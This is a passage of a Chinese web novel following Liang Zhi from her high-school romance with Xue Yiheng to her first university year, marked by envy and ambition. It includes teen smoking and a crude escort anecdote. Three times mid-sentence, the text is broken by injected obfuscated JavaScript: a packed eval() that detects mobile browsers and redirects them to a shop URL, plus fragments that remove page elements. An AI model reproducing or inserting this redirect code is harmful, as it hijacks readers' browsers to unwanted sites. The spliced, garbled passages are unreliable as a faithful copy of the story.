听见这话，不知勾起了梁芝什么回忆，她抬手，柔若无骨的指尖轻点上他胸口处心脏的地方，又重重按下去，刚涂过口红的嘴唇红润晶莹，透着一层诱人的水光，轻启：“那你没有心怀不轨吗？” 被她触碰到的整个身子直接僵住了，薛以珩呆呆地望着她这幅模样，喉结明显一滚，漆黑的眸子漫上暗色，不知名的情绪涌动着，眼见她要收回手，他下意识一把抓住。 薛以珩轻吻上她指尖，嗓音低哑，毫不掩饰的侵略意图：“我承认，我有。” 他抬眸，望向她的眼里带着昭然的渴望和祈求，“那我可以有吗？” 梁芝笑了笑，吐出的却是截然相反的字：“不可以。” 他怔住。 梁芝趁机抽回手，对他道：“思来想去，还是觉得至少应当面说一句分手。” “照你说的，事不过三，这是第四次。” 她扫了眼桌上的照片，“我没预料到会有拍照的环节，但你买了……最后一天，总要过完所有环节，才算圆满吧。” 4. 回忆 （高中篇） 梁芝是个好学生，无疑也是个乖孩子。 中考以优异的成绩考进了省会城市的省重点，江城一中，而且还是一中的重点班。 江城一中师资力量雄厚，是当地学子梦寐以求的高中，不仅有以高考为教学方向的年级部，还有以出国留学为教学方向的国际部。 高二文理分班后，开学没多久便迎来了校内秋季运动会。 为了让除运动员外的学生也能积极体验到活动乐趣，学校还同步开展了校园文化节，学生可在校内公园申请摊位摆摊。活动期间，穿衣自由，各类cos、lolita或是礼服随处可见。 - “我帮你吧！” 梁芝抬头，穿着球衣短裤的薛以珩微微喘着气，站在她面前，她放下搬着有些吃力的桌子，感激冲他笑笑：“那麻烦你了。” 开学没多久，她跟他不怎么熟，他突然出现提出帮忙，人还挺热心的。 “你不用跟我客气。” 他看了眼梁芝，一把提起她身旁的桌子，问道：“要搬到哪？” “搬到公园……”梁芝一时不知道怎么形容具体位置，“那个，你能等等吗？我收拾一下，和你一起。” “当然可以，我不急。” 梁芝礼貌道谢后，开始一点点整理同桌位子上的东西，将桶装的烧仙草和双皮奶放进一个大塑料盒里，又往空隙处塞上纸盒和勺子，模样认真。 “这些都是你做的吗？” “嗯，昨晚弄的。” 薛以珩在一旁盯着她忙碌，教室里只有零零散散几个人，大部分已经下去了。 “我觉得……就特别厉害。”憋了半天，就干巴巴说出这么一句。 梁芝弄好后，瞥了他一眼，又迅速垂下，带了点笑意。 一掀一抬间，眼波流转，他心尖一颤。 “好了，我们走吧。” “哦，好。” 两人并肩走在校园里，薛以珩目光斜向下，时不时落在身侧的梁芝身上。 “对了，那什么……你记得，我们其实曾经见过吗？” 空气过于沉闷，他试图找话题。 梁芝目不斜视，声调软：“你指的什么？” “就学校门口的公交车站，我做12路回家，之前在那见过你。” “是吗？好巧，我之前也在那坐公交回家。” “不过这学期开学，一直没碰上你。” “嗯，我爸这学期接我。” “哦……”他语气听着有些失落。 梁芝微不可查地勾了勾唇。 她当然记得，同一个车站里，就属他个子最高，长得最抓眼，高一坐了一整个学期的公交，怎么会没印象，至于碰不上…… 最近有款名叫达达的打车软件还挺火，乘客打车比出租车便宜，跑单司机后台还有公司的补贴福利，她爸暑假买了辆小轿车，没事干时就去跑达达，顺带揽了接她放学的活。 公园的小道上如雨后春笋，一个早上就冒出了琳琅满目的小摊。 薛以珩帮她把桌子摆好，梁芝顺势放下手里的塑料盒。 他看了眼电子手表上的时间，语气听着有几分期待：“我等会有个比赛，你……要是不忙的话，也可以过来看看。” 他话音刚落，身后一道声音响起：“呦呵，这不是阿珩吗？” 来人拍了下他屁股，又一把搂上他的肩。 被打断，薛以珩侧眸一看，眼神惊讶：“你穿的这什么玩意？？？” 李绍尊嬉皮笑脸：“好看不？” 这人身形高挑消瘦，皮肤极白，一个男生却生得唇红齿白，眉细，眼尾长，上半身是件还算正常的白衬衫，下半身却穿了条百褶裙，长筒袜，脚踩一双倒勾，露出来的两条腿又细又直。 薛以珩甩开他的手，忙去看梁芝的反应，见她脸上没什么异色，才给她介绍：“他是六班的，李绍尊。” 末了，又补了一句：“他…平时不这样。” 李绍尊冲梁芝挥挥手，很快被桌上的东西吸去注意力，“你卖甜品呀？” 见他问起，梁芝迅速进入今日的老板角色，热情介绍：“对，有喜欢的吗，要不要来一份？” “等会吧，我正要去找严望他们，别到时候我端着一份去，他们全嚷着要我也给他们买。” 他拍了下薛以珩的肩，嘻嘻一笑：“你跟不跟我一块？我今天穿这么好看，必给他们一个大惊喜。” 薛以珩摇头：“我等会要去比赛。” “哦，那行吧，比赛加油啊，结束了老地方见。” * “妈的，真贱！”严望抽完最后一口烟，丢掉烟头，抬起脚上一鞋难求的联名款踩上，又用力碾了几下，脸上戾气尽显。 “咋了嘛，搞这么大火气？” 他抬眸，眼神阴狠：“那个教导主任他妈的打电话给我老子，说要劝退我，不就是考试作了个弊么？搞这么严重，想拿我杀鸡儆猴啊？” 另一人道：“你别听他说得轻描淡写，他就纯活该，当着监考老师的面，掏出手机拍照搜题。” “严望你有种啊！” 薛以珩眼皮低敛，从盒子里夹出一根新的，递给严望，“那事情最后怎么处理的？” 严望接过，漫不经心地讥讽开口：“还能怎么处理，回去挨顿打呗。” 旁边那人靠在楼梯栏杆上，仰头吐出一口烟，云雾缭绕：“诶，望呀，你上次定的那批鞋还要多久到啊？” “快了，等这批货卖了，请你们去Mars玩啊！” 楼梯最下方探出一个脑袋，身上穿着保安制服，顺着层层盘旋上升的阶梯，朝上看去。 “你们几个，干什么的！” 猝不及防的一道洪亮喊声，严望惊得指间的烟没夹稳，掉到了地上。 “坏了，被发现了！” 教室里。 梁芝写到一道数学题有点卡壳，思索了半天，认命般叹了口气，拿起练习册，转身看向后桌，双手合十：“课代表，我又有道题不会了。” 江玉清眼底掠过一丝笑意，面上却不动声色接过练习册，“哦，哪道？” 这时，黑板上方的扩音器刺啦响了几声，紧接着又传来一个中年男人咳嗽试音的声音。 梁芝停止问题，好奇扭头。 “各位老师同学请注意，下面将就以下几位同学的恶劣行为做一则通报批评……” 随着播报声结束，班上瞬间爆发出剧烈的讨论声。 “不是有问题要问吗？” 江玉清拉回梁芝的思绪，她回头，还有些愣愣的，“刚刚通报的那些人里……是有薛以珩？” 江玉清抿唇，透出一股极淡的不悦，认真道：“坏学生，梁芝，不要和这种人接触。” “他们只会妨碍你。” - “梁芝！” 薛以珩面色苍白地追上她，“梁芝，那件事不是你们想的那样，我可以解释！” 梁芝停下脚步，对上他焦急的眼神，微微不解。 为什么要解释，是不是他们想的那样，和她有关什么关系？ “你听我说，那个严望，就是那个被劝退了的，他——” 她赶时间，没心思听，“抱歉，我要先回去了。” 她今天中午放学去了趟英语老师办公室，耽误了点时间，匆匆出来吃口炒饭后，就急着赶回学校。 江城一中有要求，中午留校的学生要在规定时间内返回班级午休，且午休期间内，不允许学生进出校园。 “等等……”他眼里显出几分祈求，“就给我几分钟好么……” “你俩够张扬的啊，在学校门口拉拉扯扯。”不远处，李绍尊手上拿着根便利店烤肠，一副看热闹的模样。 他今天倒穿得很正常，一件黑外套，直筒裤，高高瘦瘦的。 “你怎么这时候在这？”薛以珩被打断，本就不高涨的情绪，此时难免有些挂脸。 “我这不刚在附近吃完饭，准备回家。怎么，你们小情侣吵架啦？” 他看热闹不嫌事大，目光在两人间徘徊一圈，带着戏谑。 薛以珩蹙眉，冷声：“你少来，别乱说。” “既然你朋友来了，那我就先回学校了。”梁芝实在不耐，她不想被记名。 李绍尊一愣：“回哪？” 紧接着笑道：“回不去了，大门关了。” 扫了眼对面两人，梁芝决定收回之前对薛以珩的看法，什么热心好人，明明很烦人。 李绍尊咬下最后一口，丢掉签子后，后知后觉：“这么说，你们中午没地去了？来我家呗，陪我看鬼片，刚好我觉得一人看不得劲。” 薛以珩看向梁芝，寻求她的意见：“离学校开门还有一个多小时，总不能一直待外面。” “他家没人？” 李绍尊抢答：“放心好了，这是我爸为了方便给我在学校附近买的，就我自个住。” 为了方便、自个住……他漫不经心的语气却如一记钟声，来回荡在梁芝心上，脑海里霎时闪过几个片段。 她鬼使神差同意了。 “不用换鞋，冰箱有水，你们随意啊，我去调下设备。” 李绍尊丢下一句话，就飞快窜进了一间房，留下薛以珩和梁芝在客厅。 薛以珩驾轻就熟走近冰箱，拉开门，取出一瓶水，扭开盖子后，递给梁芝。 “对不起。” 他神色焉焉，眉梢染着疲惫和忧伤，竟看起来有点可怜。 他这副态度叫梁芝突然意识到了什么，心猛地一跳。 冰冷的瓷砖向四周蔓延，轻而易举就背负起了普罗大众干瘪的一生。 偌大宽敞的客厅，茶几上残留着吃剩的外卖，堆得几乎快放不下。 梁芝想起自己上衣口袋里还剩五块钱，中午买饭剩下的五块钱。 原本二十，炒饭十二，一瓶饮料三块。 房门口探出半个身子，李绍尊那张秀气的脸上兴致盎然，唇红得跟刚喝了血似的，抬手招呼他们，“快来，我弄好了。” 遮光性能优异的窗帘拉上，房间如一片黑夜，唯有墙壁上的投影散发着微弱的光。 “你们试过这样看鬼片不？特别带感。” 他们就坐在地上，背靠着床沿。 梁芝没试过，这是高中，大家……不应该都在好好学习么？ 身侧的薛以珩借着幕布的光，在偷偷看她，梁芝不用偏头，余光就可以轻易捕捉到。 床头处传来窸窸窣窣的声音，李绍尊不知在摸索什么，掏出一个小长方形盒子，丢给薛以珩，甚至还贴心问了一句：“你女朋友要不？红酒爆。” “她不抽，而且…也不是。”薛以珩说完，又看看她。 梁芝朝他手里的东西投去视线，一包烟。 “好吧。” 李绍尊也不在意，自顾自点燃一根，打火机发出一声脆响。 应和着电影里发出的惨叫。 他倚着墙，星火燃在指间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13724081|144921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，送入那张脸上张着的口，忽远忽近，肤色白得像鬼魅，人手长腿长，一根杆子，立在墙边。 “我前几天成年了。”李绍尊说。 薛以珩今天脑子不太够用，半晌，道：“成年快乐。” 他笑出声：“你说晚了。” “不过也不要紧，”他吐出一口烟，眼神落在投影上，“前几天成年嘛，去ktv玩了通宵。我就在想，别人都送我礼物了，那我也总得送自己点什么吧。” 薛以珩从鼻腔里哼出一声，算作回应。 李绍尊语气雀跃：“于是我就就地找了个公主，想彻彻底底送自己成年。” 他这句话刚落下，薛以珩猛地扭头，去看梁芝的反应，梁芝的眼神却不在他身上。 李绍尊还在继续：“可你们知道不，妈的，最好笑的事情发生了，那个公主她说、她说……” 他似乎想到了什么好笑的事，笑得上气不接下气：“她说看在我是第一次的份上，又长得这么好看，她不收钱。我听到这话真差点没笑死，本来兴致勃勃的，都给我整没想法了。” 乳白色烟雾升腾着，扭曲了他那张脸。 梁芝如温室般的世界观在这一刻轰然倒塌，冷风不要命地往里钻，血液微凉。 - 走在回校的路上，一路无言。 眼看就要到校门口了，梁芝冷不丁开口：“你之前不是想说什么吗？” 乍然听见她的声音，薛以珩还以为自己出了幻觉。 盯着那张温柔的脸，她眼眸静得像片湖，心里的弦被狠狠拨动了下，泛上密密麻麻的酸涩。 这段时间被学校、家庭乱七八糟的事整得心力交瘁，薛以珩此时也不过是个高二学生，到底心理承受能力没那么强。 他一开口的声音有些缥缈： “严望……对，严望，你不关注球鞋可能不知道，球鞋这两年溢价又高又快，联名款频出，一转一卖就能赚上不少钱，梁芝，你能想象不，我们都还在教室里死读书的时候，严望就找到了拿货渠道，目前为止，他已经赚了不下五十万。” “五十万……像我们这种普通家庭，可能一年到头也挣不到这么多吧，我平时脚上穿的这些都是从他那拿的，舍不得穿的就放平台上卖掉，凭这些，我也攒了不少钱……” “我其实也看不惯他们有些行为，可……你懂吗？” 他的话没说完，或许是他自己也没想好要怎么说。 可她、懂吗？ 回到班级后的梁芝还陷在今天中午带来的震撼里。 后背突然被人戳了两下。 她回头，江玉清目光沉沉：“你今天中午去哪了？” “只是没赶上时间。”她没心思回答。 “没按时进校，值班的人会记名。” 搁以前，梁芝一定很在意，可今天她心突然变得很平静，平静得起不来一丝波澜，她只哦了一声。 江玉清顿了几秒，“你中午和薛以珩一块回来的，你们……” 他突然低下头，拿起笔，继续在草稿纸上算题，“今天是我值班，没记你名，下次别晚了。” “……谢谢。” - 上次的事如一场轰轰烈烈的台风席过，天放晴后，就好似没来过。 只有偶尔在饭桌上听起她爸妈谈起房贷、谈起工资、谈起物价，在商场里看见架子上售价一两千的球鞋时，会窥得几丝风暴后的狼藉。 梁芝想做点什么，可她还在上高中，连玩手机都会被管控，她不知道自己能做什么。 前思后想，她决定等上了大学，再做打算。 可计划赶不上变化，而她的想法也太天真。 很快，他们升高三了。 薛以珩上次问她想去哪所大学、哪个城市，梁芝想也没想说琼市，不久就听说他去走了体育，经常缺课出去训练。 高三压力很大，学校还新增了到十点的晚自习。 梁芝脑袋昏昏沉沉，面前的习题册和试卷堆得像座小山。 她撑着头，眼皮都快闭上了，猛地一栽，瞬间惊醒，发现桌子上多了一杯奶茶。 她茫然四顾，怔然间，撞入前方一道视线，薛以珩不知什么时候训练回来了，打着手势，示意她快喝。 后方的江玉清目睹了一切，薛以珩在梁芝低头后，眼皮一抬，对上他的眼神。 - “女款？你买女款做什么？” 严望窝在卡座上，腿大咧咧翘着，刷着手机，头都没抬。 他被劝退后，跟家里闹脾气，哪都不愿去，拿着自己倒腾的钱，又一口气全砸进去，继续摸索赚钱的路子。 年轻气盛，做事大开大合。 “送人。” 听薛以珩这么说，他才肯从手机上分出一丝目光，玩味勾唇：“行啊，码数款式，挑好了跟我说。” “行，谢了。” 他似有若无地嗯了声。 “李绍尊呢？他怎么还不来？” “他说他这学期要抓紧学习。” “他在放什么屁话？” 若不是想给梁芝准备生日礼物，薛以珩今天也不想来，这么关键的时刻，只有他闲人一个，还能能肆意玩乐。 薛以珩淡声道：“他前几天刷空间，看到国际部的范蕴在晒到手的好几个offer，还有家里的直升机，羡慕得眼都红了，跟他爸立下赌约，要是能考上一本，让他爸也给他配一架。” 严望轻嗤一声：“啧，不如找他爸要点钱实在。” 5. 转变 和薛以珩提了分手后，梁芝在商场买了杯奶茶，就打车回去了。 回去的路上，她降下车窗，迎面的风几乎是拍在脸上，她却毫无察觉，觉得那是自由，是光明，是她即将腾飞的未来。 她咬住吸管，液体上涌，很甜。 她将脑袋轻靠在窗户上，低着头，垂下的发丝遮住了大半张脸，脸上缓缓露出一个很浅的笑容。 … 窗户上起了一层白雾。 车子急刹，梁芝轻靠在窗户的脑袋上猛地往前一栽，清醒了大半。 耳边响起两个老人大声的交谈，上班族在电话里汇报工作，还有外放的短视频软件……混在一起，嗡嗡嗡嗡的，无数只蜜蜂在飞。 夜间的公交车两侧亮起横着的灯，还算亮堂，四周的气味却不算好。 给人的第一感觉就是闷，像脸上蒙了一张纸，轻飘飘的，可一想使劲吸，就越喘不过气，越吸，就越喘不过气……只能当它不存在，麻木地、温驯地吸，才会自如。 梁芝拉下臃肿羽绒服的领口，她不想目之所及都是乘客和公交，只好将视线投向窗外，车灯、路灯、街边的招牌，总之一切会发光的东西，隔着爬满雾珠的车窗，都变成大大小小的散光团子。 距离她上大学已经过去一学期了。 什么也没发生。 她度过了普普通通的一学期，现在也像无数个普通大学生一样，放假后找了个什么大学生兼职，一个月两千。 她伸出手指，一点点抹掉雾珠，露出一块干净的玻璃。 发光的灯显出原形，直白地呈现在她眼前。 梁芝觉得自己好天真，她为什么会觉得上大学后，她就能大展拳脚……她又有什么拳脚可施展？ 她不是没努力过，可真努力过，才愈发惶恐。 普通人，身边遇到的也都是普通人。 她一点也不想听什么校门口水果又涨价了，也不想为寝室要不要开空调而辩论，更不想和某个油腻而不自知的男生浪费上一秒钟。 同样，挣钱也好难。 她带过家教，普通一本生，开价两百一节课，她一周去两次，一个月一千六。 这时薪算高的了，别的一天八小时，两百。 一千六很多么，她攒了一学期，才刚刚够买一个轻奢级的mcm。 心比天高，命比纸薄。 这句话用来形容她这种女生最合适不过了。 因为她省吃俭用，不过为了能买一个毫无实际作用的包包。 她这时才能真切体会到薛以珩以前说的是什么概念，为什么一个高中生……可以有能力挣到五十万，甚至更多。 她想起那天回来路上吹的风，原来是迎面甩上的巴掌，后知后觉，才火辣辣得疼起来。 梁芝匆匆避开路灯的光，低下头，为了缓解什么，手指不肯安分，机械地动起来，点开了手机屏幕。 刚解锁，微信消息立刻一条接着一条弹出来。 她指尖一滑，点开，这才想起今天是高中同学聚会的日子。 她没去。 她当然没去。 可她收到了高中同桌的信息。 周涵：【hi，在不？】 梁芝不太想回，正要忽略，对方的消息紧跟着就来了。 周涵：【你今天没来还挺可惜的，课代表还专门问了你。】 周涵：【他变化可大了，我差点没敢认。】 她俩当时是同桌，江玉清是数学课代表，就坐她后面，两人一有不会的问题，就回头喊课代表课代表，喊得多了，就成了她们间默契的代号。 周涵：【梁芝，有句话我不知当说不当说，我其实挺为你俩感到遗憾的，课代表那么喜欢你，我一直以为你和他后面会有点什么，哪曾想会是和他。】 梁芝微微一怔，江玉清刚开始对她还不错，可后来她和薛以珩走得近后，也不问问题了，关系逐渐变淡，除了偶尔收作业，他们之间几乎没沟通。 即便她这个当事人曾隐约察觉到了什么，可周涵怎么会说，他很喜欢她？ 梁芝很懵。 她敲下几个字。 梁芝：【你说……他喜欢我？】 周涵：【对呀，这不是班上大部分人都知道的吗？】 梁芝彻底懵了。 周涵：【有次早上收作业，那个姓薛的估计没写，问课代表能不能缓缓再交，课代表直接说，所有人都可以缓交，唯独他不可以。】 周涵：【他说那句话可一点没避人，周围的人估计都听见了。】 周涵：【没想到你竟然没听说这件事，不过也是，哪有当着当事人面前说八卦的。】 周涵：【算了不说这个了，都过去了，不过课代表还是牛啊，全班就属他考得最好了，一跃去了top2……】 梁芝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13724082|144921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸上血色尽失，手上拿着手机，用力到发白。 她的眼睛被明晃晃的top2几个字刺到了，要是她当初是和江玉清在一起，要是她像最开始那样，找他问问题，和他共同进步，她是不是会站得更高一些…… 有些事情无法深思，深思，只会加剧无尽的悔恨。 梁芝赶忙退出微信，仿佛再多看一眼，她外面这层皮就要被硫酸腐蚀得滋滋作响。 微信旁边就是短视频软件音符，她心神不定，误触点到了。 屏幕弹出一个慵懒单肩背着双肩包的男生，身形落拓，大概是个网络颜值博主，她没心思看，正要退出，目光却猛地顿住了。 梁芝定睛，多看了几眼视频里男生的长相后，她颤着手点进主页，点开几个视频，又看了下ip属地，最后彻底确定了。 视频里的男生……竟然是薛以珩。 粉丝量十万，但似乎才刚起号，主页没几下就滑到底了。 刚刚她刷到的是点赞量最高的视频，二十多万，小爆了一把。 梁芝看了眼评论区—— “穿这么多，有心事？” “这么帅的就该我们琼市先谈。” “都不要抢，江市的先谈！” “求你了哥，你去当男模吧，谈不起我还点不起吗？” “……” 脑袋被一个又一个消息砸得发懵，他置顶品论还挂了个什么广告链接。 这样的浏览量，一条能挣多少钱…… 为什么他们都越来越好，只有她，不进反退。 不甘心，真的好不甘心。 悔恨、嫉妒爬满了她的内心。 梁芝死死咬唇，不肯让眼泪越出眼眶一步，她气，气自己认不清自己，气自己心思飘，却想得多做得少，气自己自命不凡，守着洋洋自得的自尊，却一事无成。 她瞥到车窗倒映出的那张脸，因为兼职，几天没洗头，眼神空洞，裹在肥大没型的羽绒服里，如一块干巴的面包，没味、噎人但管饱。 她差点尖叫出声。 太可怕了，太久地裹挟在碌碌无为的环境里，竟也让她无形中麻痹了自己。 梁芝憋回眼泪，用力眨几下，空洞的眼被水浸过，再度焕发出异样的光彩。 思索许久后，她重新点开微信，点开和周涵的对话。 梁芝：【对了，你可以把江玉清的微信推给我吗？】 6. 方向 大一下学期开学。 又是拖着个行李箱忙忙碌碌的一整天。 “梁芝，一个寒假没见，我怎么感觉你突然变白了好多？还有你这头发，好适合你呀。” 戴若梦圆溜溜的眼睛，打量着梁芝衣服领子外露出的那张脸。 说不清哪变了，但就是感觉比之前更赏心悦目了。 梁芝笑道：“你的卷发也很适合你呀，我可能是整个寒假都没晒太阳，就变白了些。” 说罢，她继续低头收拾行李，压下上扬的嘴角。 当然变白了，要是没变白，她花的那些钱岂不是都打水漂了？ 那天回去后，梁芝立马将之前买的mcm挂海鲜市场卖了出去，虽然价值大打折扣，但也好过守着它落灰。 随后又立即拿着寒假挣到的钱和买包的钱，去打了医美万金油。 梁芝算是清楚了，一个包包对于现在的她来说，除了背出去能在普通学生间享受一下自以为是的虚荣感，没有任何作用，倒不如将这些钱投资到自己身上。 俗话说，美人在骨不在皮，可骨相是天生的，有多少人能像她前男友那样，中了基因的彩票？天生的东西羡慕不来，就好比她羡慕那些含着金汤匙出生的宠儿。 不过好在上天赋予每人不公平的属性后，作为补偿，也给了人这种生物到处都是的缺点和突破口，他们的嘴巴能说出动听的谎言，反过来，他们的眼睛也会欺骗自己的大脑。 骨相美和皮相美，在高清摄像头前，差别无所遁形，可在日常生活中，只要整体看起来是美的，就会先入为主地给大脑传递美的讯号。 梁芝没钱大刀阔斧动脸，只好先将精力花在氛围感——皮肤和头发的保养上。 她原本的头发没烫没染过，乌黑柔顺，可梁芝这张脸温柔有余，精致不足，变美的方向自然是要扬长避短，在网上来来回回挑选了好几个发色后，她最终敲定奶茶棕。 奶茶棕色浅，偏柔和，既不沉闷，也不过分张扬，对于她来说刚刚好，不仅适配她自身温润柔和的气质，增加了精致感，还创造了一个显眼的记忆点。 除此外，她还给头发烫了大卷，大卷慵懒，小卷则过于俏皮可爱。 从背影看，微微起伏的卷发弧度无疑要比直发更勾人，尤其是精心打理过的、富有光泽的大卷，只一眼，就叫人觉得摇曳生姿，顿生遐想。 而一头浅发色，要皮肤够白才能驾驭住，所以除了美白针，梁芝还屯了一堆防晒、磨砂膏跟身体润，洗完澡后，务必全身上下都涂一遍。 做完这些，才让她虽然长相没变，但就是给人一种变好看了的感觉。 这学期，梁芝给自己的上床下铺都安了帘子，私密性也就有了保证。 她拉上帘子，挡住了视线的同时，也遮住了部分光线。 桌子上亮着一盏小台灯，有些暗，她又掏出一个小型补光灯，夹在手机上。 打开苹果相机的实况模式，梁芝尝试着拍了几张，可总觉得差了点什么，翻来覆去地看，才发觉原来是背景不好看，照片没有网感。 可宿舍背景都大差不差，想拍出头像感或是ins风，无疑是痴人说梦。 梁芝取下补光灯，关掉后放好，点开短视频软件，搜索‘宿舍网红’。 在看了足够多的样本后，她既激动又担忧，激动的是‘大学宿舍’就是最好的流量密码，担忧的是，宿舍网红走颜值赛道的，基本上不是拍什么高质量的精致照片，而都是直接拍视频。 视频像素也不需太高，用上音符自带的特效，运气好都能爆个一两条。 可想吃自媒体这口饭，首先要弄清的就是账号的目标群体。 像这类视频，年轻男性群体的观看占比无疑会更多，但非常滑稽的是，年轻用户中，女性的购买力和付费意识普遍要比男生高。 这也就导致，同等粉丝量，走美妆赛道会比走颜值赛道挣到的多得多。 这还是起号成功的结果，而她起号成功需要多长时间，能否成功都是一个问题。 纵观自媒体大火的博主，除了自身条件，必然有运气加持。 梁芝绝不会把自己的未来全盘托付到运气上，再说，就目前来看，她的运气似乎并不太好。 纠结再三，她还是决定放弃走宿舍网红这条道。 那到底该如何是好？ 不行，网络这个最没门槛的扩圈手段，她必须利用好！ 两天时间一晃而过，又到了新学期的第一节课。 关掉闹钟后，梁芝下床洗漱。 对着镜子，她拿起一个大号抓夹，将蓬松的头发盘起。 经过一整个学期的观察，她算是发现了，她们班没什么优质股，自然也没必要花大把心思打扮。 临出门，梁芝这才注意到平日的四人行少了一人，她扫了一圈，下意识道：“袁子琪呢？她是不是睡过了，我去喊她起来吧，不然要迟到了。” 戴若梦惊讶：“你不知道吗，她转专业了。” 梁芝一愣：“转专业？” “对呀，不过只是同院转，从英语转去了法语。” 一个小插曲，梁芝也没放在心上。 刚开学时，她加入了学生会的新闻传媒中心，自我提升没感觉到，免费苦力倒是做了不少。 这不，马上就是接踵而至的篮球赛、足球杯，她们中心得派人到现场为本院撰写新闻稿。 梁芝自己接下来的方向都还没摸索清楚，哪愿意在这种吃力不讨好的事上浪费功夫，正烦躁着，回到寝室就听到了室友在说八卦。 捕捉到‘孟南初’和‘宋樾川’这两个名字，梁芝回到自己的位子，放下书包，也竖起耳朵听了起来。 上学期，院里开展活动，宋樾川上台主持，她在下面负责拍摄活动照片，对他也算有个全方位的观察。 人确实挺帅，而且是君子淡如竹，极有韵味的帅，她不需要找什么角度，随手一拍，都能用作公众号封面。 除了亲眼所见，梁芝对他最大的印象就来自于各个老师教授口中，那叫一个赞不绝口，每次一到演讲赛、大创等赛事报名前，必要拿他出来作正面例子夸奖。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13724083|144921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过外貌出众也好，品学优良也罢，梁芝都不太感兴趣，她虽生了一张温温柔柔的脸，又努力把自己打扮得纯洁美好，内里却是个实实在在俗气的人，这辈子宁愿烂在钞票堆里，也不愿就着粗茶淡饭过活。 只是根据她的人生经历，她又希望自己能被那两点吸引，那样或许就不会错过薛以珩和江玉清这两优质股。 想到这，不得不提一嘴那天后续，她虽要了江玉清微信，却没加他。 一来是没有一个好的理由，贸然去加，不过是让彼此躺在联系人里落灰。 二来则是她现在身上一个拿得出手的东西都没有，就算对方曾经对她有个什么想法，只怕加上后，朱砂痣也要变成了蚊子血。 到时候再叫对方感叹一句，当初他好心劝告却被当做耳旁风，如今果然应验，那梁芝恐怕真要气死。 这边只听袁子琪道：“那天上课，孟南初到了教室，趴桌上倒头就睡，被老师喊起来说了几句，她一下课就跑去找了宋樾川，两人在教学楼又吵了起来。” “孟南初脾气这么差吗，是不是美女脾气都不太好啊？” 听到这句，梁芝暗暗感叹，自古美人就有优待，可随之而来的议论和非议也成正比。 袁子琪转到法语班后，经常和孟南初走在一起，忍不住为她说话：“也不能这么说，她之所以倒头就睡，还不是因为晚上和宋樾川打电话打到三四点。” “打到三四点？他们聊什么啊？” 丁香弱弱出声：“那他们室友不会被影响到吗？” “说是在阳台小声打的，具体聊什么我也不太清楚，只是孟南初总说他管太多，可能是小情侣间的乐趣吧。” 话题到这为止，他们又说起了院里别的八卦，顿觉没什么信息点，梁芝开始卸妆，保养肌肤。 “对了，你们知道有剧组要来我们这拍戏么？” “剧组？是流量吗，微博上没消息呀。” “那当然不是，是个正剧好像，拍贪腐的。” “听着不像我爱看的，怪不得网上没啥风声。” “也不是我看爱看的，我是听孟南初提了一嘴才知道。” “没想到她竟然爱看这种剧。” “哈哈那倒不是，剧组借了宋樾川家的房子拍戏，那天他去处理，放了她鸽子，她抱怨来着。” “……” 梁芝涂抹水乳的动作慢了下来，拍戏借房子，这样的戏会借什么样的房子…… 可宋樾川挺低调的，她没见他身上穿过什么大牌的衣服，上次在外院，远远看他骑个自行车就过来了。 手机振动一下—— 新传中心群 部长：【下周篮球赛的新闻稿和摄影有人自告奋勇去吗？】 外院男生那么少，宋樾川个子高，身体素质也好，他应该会参加吧？ 室友的八卦声还在继续，夹杂着几声欢笑。 在屏幕即将熄灭的前一秒，莹白的指尖毫不犹豫敲上去。 是也好，不是也好，机会可不是天上掉馅饼，她都得先抢在手里再说。 7. 起号 周末。 梁芝背着个双肩包，拿钥匙开锁，推开自家大门。 屋内没人，她父母接了个活，现在不住这边。 书包丢在沙发上，光线翻过阳台，照亮了半边屋子，一半明媚，一半阴暗。 梁芝头一次因在本地上学而感到庆幸。 九十平的小屋，卧室、厨房门都大敞着，瓷砖与木地板接壤，好似四通八达，本是三口之家，现就她一人，乍一看，也有几分奢侈的味道。 她妈是个爱干净的人。 灶台上，躺着一口锅，另一口挂在墙壁的勾子上，筐子里依次摆好油盐酱醋，高矮胖瘦的瓶罐如等候调遣的队伍，工工整整。 可再爱干净的人也擦不掉抽油烟机长期使用下的油渍，漆一般的黄色，油光锃亮，还有瓷砖缝间的日渐老化、发黑，远远看，好似爬了一条条黑色蜈蚣。 梁芝静默地盯着，似入了定，一眼也不眨。 看着看着，她视线中出现了一个围着围裙的女人，女人从微微佝背、上了年纪的皮囊慢慢抽条，抽条成一个年轻女性。 什么样的年轻女性呢？ 温婉点的比较好吧，头发可以松垮低扎着，上身穿个修身的白t，黑t也行，下身配个短裤，捧着刚做好的菜盘，回眸，也不说话，可眼睛望向人时，柔得要化成水了，冲她浅笑、盈盈一笑、娇俏一笑，总之是笑着的。 